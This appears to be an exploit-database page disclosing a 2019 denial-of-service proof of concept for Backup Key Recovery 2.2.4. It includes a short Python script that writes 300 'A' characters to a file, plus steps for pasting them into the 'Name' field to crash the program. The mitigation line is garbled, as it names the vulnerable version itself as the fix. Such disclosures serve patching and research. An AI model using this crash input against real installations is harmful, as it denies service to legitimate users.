header-logo
Suggest Exploit
vendor:
Backup Key Recovery
by:
Victor Mondragón
7.8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Backup Key Recovery
Affected Version From: 2.2.4
Affected Version To: 2.2.4
Patch Exists: YES
Related CWE: N/A
CPE: 2.2.4
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 x64 Service Pack 1
2019

Backup Key Recovery 2.2.4 – ‘Name’ Denial of Service (PoC)

Backup Key Recovery 2.2.4 is vulnerable to a Denial of Service attack when a maliciously crafted 'Name' is supplied. This can be exploited by an attacker to crash the application, denying service to legitimate users.

Mitigation:

Upgrade to the latest version of Backup Key Recovery 2.2.4 or later.
Source

Exploit-DB raw data:

#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
#Tested Version: 2.2.4
#Tested on: Windows 7 x64 Service Pack 1
 
#Steps to produce the crash:
#1.- Run python code: Backup_key_rec_2.2.4.py
#2.- Open backup.txt and copy content to clipboard
#3.- Open Backup Key Recovery
#4.- Select "Register"
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('backup.txt', 'w')
f.write(cod)
f.close()

Navigation

Suggest Exploit

Services By CQR